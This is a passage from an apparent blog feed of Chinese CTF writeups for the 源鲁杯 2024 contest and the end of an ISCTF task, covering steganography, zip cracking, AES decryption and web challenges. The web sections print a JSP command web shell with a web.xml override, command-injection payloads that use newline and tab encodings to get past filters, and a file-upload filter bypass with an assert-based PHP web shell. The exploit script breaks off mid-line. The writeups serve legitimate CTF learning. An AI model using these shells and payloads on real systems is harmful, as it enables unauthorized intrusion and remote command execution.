已知或我们可以提供一个样例&#xA;language2 = [ord(c) for c in &amp;quot;is_.py_not_py&amp;quot;]&#xA;enc = [25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25]&#xA;&#xA;# 运行逆向函数&#xA;o0000 = reverse_verify(enc, language2)&#xA;&#xA;# 输出 o0000 的 ASCII 字符串&#xA;o0000_str = &#39;&#39;.join(chr(x) for x in o0000)&#xA;print(&amp;quot;逆向得到的字符串:&amp;quot;, o0000_str)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;最后输出结果：Y0u_r3@l1y_knOw_py&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731590756558-f81fd4f9-79cc-4883-a1d4-6496d2e9d123.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;输入exe，显示成功，得到flag：ISCTF{Y0u_r3@l1y_knOw_py}&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>源鲁杯 2024 - writeup</title>
      <link>https://new.mnzn.me/posts/%E6%BA%90%E9%B2%81%E6%9D%AF-2024-writeup/</link>
      <pubDate>Fri, 15 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/%E6%BA%90%E9%B2%81%E6%9D%AF-2024-writeup/</guid>
      <description>&lt;h2 id=&#34;round1&#34;&gt;Round1&lt;a class=&#34;heading-anchor&#34; href=&#34;#round1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;misc&#34;&gt;Misc&lt;a class=&#34;heading-anchor&#34; href=&#34;#misc&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;h4 id=&#34;hide_png&#34;&gt;hide_png&lt;a class=&#34;heading-anchor&#34; href=&#34;#hide_png&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件&lt;/p&gt;&#xA;&lt;p&gt;是一张图片&lt;img src=&#34;upload/Image/b8553eda-c323-442d-aea2-d0a8d982b6a7.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;能隐约看到有点阵组成的Flag&lt;/p&gt;&#xA;&lt;p&gt;使用PS调整图片&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/1bc047be-1f1d-42ae-9e54-38704f0d8f96.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;pngorzip&#34;&gt;pngorzip&lt;a class=&#34;heading-anchor&#34; href=&#34;#pngorzip&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件 根据hint 推断出应该是图片内隐写了zip压缩包&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/eb7794f8-5fde-462c-b02a-2e4cfb33b898.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现RGB通道存在zip隐写 包含flag.txt&lt;/p&gt;&#xA;&lt;p&gt;zsteg&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/159d614a-6162-4adb-9928-df0a191f27ad.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现通道&amp;quot;b1,rgb,lsb,xy&amp;quot;存在ZIP隐写&lt;/p&gt;&#xA;&lt;p&gt;提取zip&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/92b7bb02-54db-4aaa-b03a-cf82f93b1b08.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;打开压缩包却提示文件损坏&lt;/p&gt;&#xA;&lt;p&gt;使用010Editor查看压缩包 发现有多余的无用数据 删去&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/bdaba945-386d-4c10-a47e-7ff4bb66fd4c.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;成功打开压缩包 发现是加密压缩包 并且不是伪加密&lt;/p&gt;&#xA;&lt;p&gt;查看文件注释 &lt;img src=&#34;upload/Image/8ea84a94-cf9c-40c4-bc0b-50637de95478.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;推测是掩码爆破 使用工具进行破解 发现完整密码为114514giao&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/2b959302-6343-43e8-baa3-5cd32870cc28.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;打开flag.txt 得到Flag&lt;/p&gt;&#xA;&lt;h4 id=&#34;plain_crack&#34;&gt;plain_crack&lt;a class=&#34;heading-anchor&#34; href=&#34;#plain_crack&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件 发现&lt;/p&gt;&#xA;&lt;p&gt;包含build.py和一个压缩包&lt;/p&gt;&#xA;&lt;p&gt;打开压缩包发现 压缩包内同样存在build.py&lt;/p&gt;&#xA;&lt;p&gt;推测是明文攻击类型 计算CRC32 发现均为DD549D08&lt;/p&gt;&#xA;&lt;p&gt;于是使用工具Advanced Archive Password Recovery进行明文攻击&lt;/p&gt;&#xA;&lt;p&gt;原压缩包算法:ZipCrypto Deflate&lt;/p&gt;&#xA;&lt;p&gt;明文攻击成功&lt;/p&gt;&#xA;&lt;p&gt;打开发现一个docx文档 点卡 发现提示fakeflag&lt;/p&gt;&#xA;&lt;p&gt;转换思路 因为没有其他信息 所以猜测是word隐写&lt;/p&gt;&#xA;&lt;p&gt;将扩展名改为.zip 打开&lt;/p&gt;&#xA;&lt;p&gt;发现文件J$BZ17OZ[`1QRKB1(F1]T.png&lt;/p&gt;&#xA;&lt;p&gt;打开图片 所看到的字符就是flag&lt;/p&gt;&#xA;&lt;h4 id=&#34;trafficdet&#34;&gt;trafficdet&lt;a class=&#34;heading-anchor&#34; href=&#34;#trafficdet&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件&lt;/p&gt;&#xA;&lt;p&gt;使用随机森林分类器进行模型训练 [Powered By ChatGPT 4o]&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import pandas as pd&#xA;from sklearn.ensemble import RandomForestClassifier&#xA;&#xA;# 加载训练数据&#xA;train_data = pd.read_csv(&#39;train.csv&#39;)&#xA;&#xA;X_train = train_data.drop(columns=[&#39;Label&#39;])  # 特征&#xA;y_train = train_data[&#39;Label&#39;]  # 标签&#xA;&#xA;# 加载测试数据&#xA;test_data = pd.read_csv(&#39;test.csv&#39;)&#xA;&#xA;# 初始化随机森林分类器&#xA;clf = RandomForestClassifier(n_estimators=100, random_state=42)&#xA;&#xA;# 训练模型&#xA;clf.fit(X_train, y_train)&#xA;&#xA;# 对测试集进行预测&#xA;test_predictions = clf.predict(test_data)&#xA;&#xA;result = pd.DataFrame({&#xA;    &#39;id&#39;: test_data.index + 1,  # 行数从1开始&#xA;    &#39;Label&#39;: test_predictions  # 预测结果&#xA;})&#xA;&#xA;# 保存预测结果到exp.csv&#xA;result.to_csv(&#39;exp.csv&#39;, index=False)&#xA;&#xA;print(&amp;quot;预测已完成，结果已保存到 &#39;exp.csv&#39;&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;运行即可获得预测好的csv文件， 上传即可获得flag&lt;/p&gt;&#xA;&lt;h4 id=&#34;whatmusic&#34;&gt;whatmusic&lt;a class=&#34;heading-anchor&#34; href=&#34;#whatmusic&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件&lt;/p&gt;&#xA;&lt;p&gt;压缩包内包含加密的flag文件和未加密的password文件&lt;/p&gt;&#xA;&lt;p&gt;010打开password 发现文件为内容倒置的png&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;f = open(&#39;password&#39;,&#39;rb&#39;)&#xA;a = f.read()&#xA;a = a[::-1]&#xA;new = open(&#39;out.png&#39;,&#39;wb&#39;)&#xA;new.write(a)&#xA;print(a[::-1])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/dcc7fc34-f259-4354-96c4-3daa8c0b9376.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;纯白（&lt;/p&gt;&#xA;&lt;p&gt;修复高宽&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/a2dc83ad-1e43-40d3-9a9f-615f21c001de.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;镜像一下ocr提取就行了 是压缩包的密码&lt;/p&gt;&#xA;&lt;p&gt;解压缩出来flag 最抽象的地方来了&lt;/p&gt;&#xA;&lt;p&gt;hint1 : 这是桑德拉(Thundra)给她女儿唱的歌&lt;/p&gt;&#xA;&lt;p&gt;hint2 : flag中字母全为大写并且套上YLCTF&lt;/p&gt;&#xA;&lt;p&gt;查吧 查到漫威 &lt;img src=&#34;upload/Image/cd885527-6e4d-48ae-8bc2-0402e5c69d12.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;她有个女儿 叫lyra 一查 有个同名的音频解码器 和hint1的唱歌对应上了&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/120b6812-f9f7-4732-a105-701ee88a8fb2.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;接下来就是搭建这个lyra的环境 折磨我四个小时 没搭好 放弃了不要分了（&lt;/p&gt;&#xA;&lt;p&gt;赛后问了aura佬 说用vs的codespace 懒得搞了 GG&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;补档：腾出时间用codespace配置了一下lyra&lt;/p&gt;&#xA;&lt;p&gt;参考某大佬博客：&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://110.40.41.206:1234/2024/09/03/lyra/&#34;&gt;http://110.40.41.206:1234/2024/09/03/lyra/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;弄好以后 得到音频文件 放慢倍速听就行！&lt;/p&gt;&#xA;&lt;h4 id=&#34;签到-打卡小能手&#34;&gt;[签到] 打卡小能手&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%ad%be%e5%88%b0-%e6%89%93%e5%8d%a1%e5%b0%8f%e8%83%bd%e6%89%8b&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;关注公众号发送文本即可获得flag&lt;/p&gt;&#xA;&lt;h3 id=&#34;web&#34;&gt;Web&lt;a class=&#34;heading-anchor&#34; href=&#34;#web&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;h4 id=&#34;disal&#34;&gt;Disal&lt;a class=&#34;heading-anchor&#34; href=&#34;#disal&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;进入容器 网页显示&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/549eaca0-2e29-4e64-a28a-64a19a94abb7.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;查看网页源代码&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Can you find the flag?&amp;lt;/title&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;h3&amp;gt;There is no flag here.&amp;lt;/h3&amp;gt;&#xA;&#xA;haha...&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;!--f1ag_is_here.php--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;发现 “f1ag_is_here.php” 访问&lt;/p&gt;&#xA;&lt;p&gt;发现一张机器人图片 名为reobots.jpg 所以推测是爬虫robots协议&lt;/p&gt;&#xA;&lt;p&gt;访问robots.txt&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;Disallow: f1ag.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;访问f1ag.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;show_source(__FILE__);&#xA;include(&amp;quot;flag_is_so_beautiful.php&amp;quot;);&#xA;$a=@$_POST[&#39;a&#39;];&#xA;$key=@preg_match(&#39;/[a-zA-Z]{6}/&#39;,$a);&#xA;$b=@$_REQUEST[&#39;b&#39;];&#xA;&#xA;if($a&amp;gt;999999 and $key){&#xA;    echo $flag1;&#xA;}&#xA;if(is_numeric($b)){&#xA;    exit();&#xA;}&#xA;if($b&amp;gt;1234){&#xA;    echo $flag2;&#xA;}&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;分析代码可知 需要通过get方式传入参数b POST方式传入参数a&lt;/p&gt;&#xA;&lt;p&gt;考察PHP的弱比较 构造一个b=1235a&lt;/p&gt;&#xA;&lt;p&gt;a=1000000abcdef 正则匹配出为abcdef符合6位字符串 所以key为True&lt;/p&gt;&#xA;&lt;p&gt;传入参数 得到flag&lt;/p&gt;&#xA;&lt;h4 id=&#34;toxec&#34;&gt;TOXEC&lt;a class=&#34;heading-anchor&#34; href=&#34;#toxec&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;(Powered By AI)&lt;/p&gt;&#xA;&lt;p&gt;进入容器 发现是文件上传题&lt;/p&gt;&#xA;&lt;p&gt;上传文件 1.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;%&#xA;    if(&amp;quot;666&amp;quot;.equals(request.getParameter(&amp;quot;666&amp;quot;))){&#xA;        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(&amp;quot;cmd&amp;quot;)).getInputStream();&#xA;        int a = -1;&#xA;        byte[] b = new byte[2048];&#xA;        out.print(&amp;quot;&amp;lt;pre&amp;gt;&amp;quot;);&#xA;        while((a=in.read(b))!=-1){&#xA;            out.println(new String(b));&#xA;        }&#xA;        out.print(&amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;);&#xA;    }&#xA; %&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;web.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA; &amp;lt;web-app xmlns=&amp;quot;http://xmlns.jcp.org/xml/ns/javaee&amp;quot;&#xA; xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&#xA; xsi:schemaLocation=&amp;quot;http://xmlns.jcp.org/xml/ns/javaee &#xA;http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd&amp;quot; &#xA;version=&amp;quot;4.0&amp;quot;&amp;gt;&#xA; &amp;lt;servlet&amp;gt;&#xA;    &amp;lt;servlet-name&amp;gt;xml&amp;lt;/servlet-name&amp;gt;&#xA;    &amp;lt;servlet-class&amp;gt;org.apache.jasper.servlet.JspServlet&amp;lt;/servlet-class&amp;gt;&#xA;&#xA; &amp;lt;/servlet&amp;gt;&#xA;&#xA; &amp;lt;servlet-mapping&amp;gt;&#xA;   &amp;lt;servlet-name&amp;gt;xml&amp;lt;/servlet-name&amp;gt;&#xA;&#xA;   &amp;lt;url-pattern&amp;gt;*.xml&amp;lt;/url-pattern&amp;gt;&#xA;&#xA; &amp;lt;/servlet-mapping&amp;gt;&#xA;&#xA; &amp;lt;/web-app&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;然后通过文件重命名功能覆盖掉原来的配置文件，将xml文件解析为jsp文件&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/e7fff6ab-7942-4c10-8adb-190e79dd7b06.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;覆盖后访问上传目录的upload/1.xml传入参数即可getshell&lt;/p&gt;&#xA;&lt;p&gt;使用ls与cat获取flag&lt;/p&gt;&#xA;&lt;h4 id=&#34;shxpl&#34;&gt;shxpl&lt;a class=&#34;heading-anchor&#34; href=&#34;#shxpl&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;访问容器 &lt;img src=&#34;upload/Image/9387f89f-2c43-4164-ae78-b8609b220647.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;尝试使用;执行ls&lt;/p&gt;&#xA;&lt;p&gt;多次试验后发现ls，分号，空格均被过滤&lt;/p&gt;&#xA;&lt;p&gt;使用 %0a 直接换行绕过&amp;quot; ; &amp;quot; 使用%09绕过空格&lt;/p&gt;&#xA;&lt;p&gt;查询资料发现可以使用du同样可以列举文件&lt;/p&gt;&#xA;&lt;p&gt;于是使用du -a绕过ls 使用BurpSuite传入构造好的POST参数&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;domain=www.baidu.com%0adu%09-a%09/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/ed691982-bd1a-4b84-aa05-df1fda7148cc.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;找到文件&amp;quot;/flag_RV2gd5sc&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;于是使用cat命令查看文件 结果发现cat也被过滤了&lt;/p&gt;&#xA;&lt;p&gt;发现可以使用more来代替cat 很巧的是more并没有被过滤&lt;/p&gt;&#xA;&lt;p&gt;尝试 结果发现flag也被过滤了通配符*也不行&lt;/p&gt;&#xA;&lt;p&gt;于是 使用[f-h]替换g进行模糊匹配 (正则大法好)&lt;/p&gt;&#xA;&lt;p&gt;于是构造&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;domain=www.baidu.com%0amore%09/fla[f-h]_RV2gd5sc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;看回显 成功获得Flag&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/5fe868bb-e696-49ce-b70e-6d5f76963836.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;round2&#34;&gt;Round2&lt;a class=&#34;heading-anchor&#34; href=&#34;#round2&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;crypto&#34;&gt;Crypto&lt;a class=&#34;heading-anchor&#34; href=&#34;#crypto&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;h4 id=&#34;ezaes&#34;&gt;ezAES&lt;a class=&#34;heading-anchor&#34; href=&#34;#ezaes&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;连接容器 获得AES加密部分的代码&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;nc challenge.yuanloo.com 36780&#xA;&#xA;this is a AES,you maybe need full padding.&#xA;&#x9;&#xA;&#x9;key is YLCTF-CRYPTO&#xA;&#x9;iv is YLCTF-IV&#xA;&#x9;AES define is&#xA;&#xA;&#x9;from Crypto.Cipher import AES&#xA;&#x9;AES.new(key,2,iv)&#xA;&#x9;result = b&amp;quot;&amp;quot;&#xA;&#x9;padded_data = pad(flag, AES.block_size)&#xA;&#x9;endata = aes.encrypt(padded_data)&#xA;&#x9;print(endata)&#xA;&#xA;\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]&amp;quot;\xfc6\xf8\x8cS\xe9b\x19&#xA;your result:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;分析这段加密代码 可知给出了密钥，初始向量与最终密文&lt;/p&gt;&#xA;&lt;p&gt;联合题目分析“看起来你需要补充些什么”&lt;/p&gt;&#xA;&lt;p&gt;发现key和IV长度分别为12和8&lt;/p&gt;&#xA;&lt;p&gt;不符合AES中 128位（16字节）、192位（24字节）或256位（32字节） 的要求&lt;/p&gt;&#xA;&lt;p&gt;查询资料 使用 PKCS7填充方式&lt;/p&gt;&#xA;&lt;p&gt;exp如下：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from Crypto.Cipher import AES&#xA;from Crypto.Util.Padding import unpad&#xA;&#xA;# 密钥与初始向量IV&#xA;key = b&#39;YLCTF-CRYPTO&#39;  # 12字节密钥&#xA;iv = b&#39;YLCTF-IV&#39;  # 8字节IV&#xA;# 进行PKCS7填充&#xA;key = key.ljust(16, b&#39;\0&#39;)  # 将密钥填充到16字节&#xA;iv = iv.ljust(16, b&#39;\0&#39;)  # 将IV填充到16字节&#xA;&#xA;# 使用CBC模式初始化AES加密器&#xA;aes = AES.new(key, AES.MODE_CBC, iv)&#xA;&#xA;# 加载密文&#xA;encrypted_data = b&#39;\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]&amp;quot;\xfc6\xf8\x8cS\xe9b\x19&#39;&#xA;&#xA;# 解密数据&#xA;decrypted_padded_data = aes.decrypt(encrypted_data)&#xA;&#xA;# 去除PKCS7填充&#xA;decrypted_data = unpad(decrypted_padded_data, AES.block_size)&#xA;print(decrypted_data.decode(&#39;utf-8&#39;))  # 转换为字符串&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;输出结果为：keysauikoydasuicxs&lt;/p&gt;&#xA;&lt;p&gt;输入至服务器 得到flag&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/072a61f4-855c-4646-983b-244be135499e.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;web-1&#34;&gt;Web&lt;a class=&#34;heading-anchor&#34; href=&#34;#web-1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;h4 id=&#34;cmnts&#34;&gt;Cmnts&lt;a class=&#34;heading-anchor&#34; href=&#34;#cmnts&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;打开容器 F12查看源代码&lt;img src=&#34;upload/Image/6fe96267-a32d-43db-828f-b086bd20777e.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Base64解码得到“get_th1s_f1ag.php” 访问&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/438943a6-af57-49a8-8498-5208593a5c45.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;分析代码可知 因为使用的是parse_str($_SEVER[&amp;rsquo;???&amp;rsquo;]) 会将所有得到的参数转换为变量&lt;/p&gt;&#xA;&lt;p&gt;当pass参数存在时 给变量key赋值为pass的md5值&lt;/p&gt;&#xA;&lt;p&gt;但是如果pass不存在 则不会对key进行操作 而利用parse_str($_SEVER[&amp;rsquo;???&amp;rsquo;]) 可以直接传入key参数&lt;/p&gt;&#xA;&lt;p&gt;直接令key=md5值即可获得flag&lt;/p&gt;&#xA;&lt;h4 id=&#34;phupe&#34;&gt;PHUPE&lt;a class=&#34;heading-anchor&#34; href=&#34;#phupe&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;文件上传题 下载附件 查看源码 找到对文件检测的部分&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/64f7cf53-87ce-48fb-a66a-8153c938fb62.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function uploadFile($file) {&#xA;&#x9;$name = isset($_GET[&#39;name&#39;])? $_GET[&#39;name&#39;] : basename($file[&#39;name&#39;]);&#xA;&#x9;$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));&#xA;&#x9;if (strpos($fileExtension, &#39;ph&#39;) !== false || strpos($fileExtension, &#39;hta&#39;) !== false ) {&#xA;&#x9;&#x9;return false;&#xA;&#x9;}&#xA;&#x9;$data = file_get_contents($file[&#39;tmp_name&#39;]);&#xA;&#x9;if(preg_match(&#39;/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i&#39;,$data)){&#xA;&#x9;&#x9;echo &amp;quot;&amp;lt;script&amp;gt;alert(&#39;恶意内容!&#39;)&amp;lt;/script&amp;gt;&amp;quot;;&#xA;&#x9;&#x9;return false;&#xA;&#x9;}&#xA;&#x9;$target_file = $this-&amp;gt;uploadDir .$name;&#xA;&#x9;if (move_uploaded_file($file[&#39;tmp_name&#39;], $target_file)) {&#xA;&#x9;&#x9;echo &amp;quot;&amp;lt;script&amp;gt;alert(&#39;文件上传成功!&#39;)&amp;lt;/script&amp;gt;&amp;quot;;&#xA;&#x9;&#x9;return true;&#xA;&#x9;}&#xA;&#x9;return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;分析可知 绕过检测的要求为：扩展名没有&amp;rsquo;ph&amp;rsquo;和&amp;rsquo;hta&#39;&lt;/p&gt;&#xA;&lt;p&gt;因为不能有&amp;rsquo;hta&amp;rsquo;，所以无法通过上传.htaccess文件将其他文件解析为php&lt;/p&gt;&#xA;&lt;p&gt;使用PATHINFO_EXTENSION或许文件信息 可以利用一下 他获得的扩展名是.后的文本&lt;/p&gt;&#xA;&lt;p&gt;通过在文件名后添加.可使获取到的扩展名为空 所以绕过了对扩展名的检测&lt;/p&gt;&#xA;&lt;p&gt;同时在.前添加/ 这样在move_uploaded_file时 因为系统无法创建名为&amp;quot;.&amp;ldquo;的文件&lt;/p&gt;&#xA;&lt;p&gt;所以&amp;rdquo;/.&amp;ldquo;会被截取 文件名将会被识别为&amp;quot;shell.php&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;同时 因为会对文件内容进行检测 不能包含&lt;/p&gt;&#xA;&lt;p&gt;php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high&lt;/p&gt;&#xA;&lt;p&gt;使用&lt;? ?&gt;标签来替代&amp;lt;?php &amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;同时查一查有什么没有被排除的函数可以执行命令&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/dec6d492-4345-475e-bd81-134b9dde3c8d.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;写出如下exp&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import requests&#xA;&#xA;url = &#39;http://challenge.yuanloo.com:38107/?name=shell.php/.&#39;&#xA;file_content = &amp;quot;&amp;lt;? @assert($_POST[&#39;cmd&#39;])?&amp;gt;&amp;quot;&#xA;files = {&#xA;&#x9;&#39;file&#39;: (&#39;I_Am_Mnzn&#39;, file_content)&#xA;}&#xA;response = requests.post(url=url, 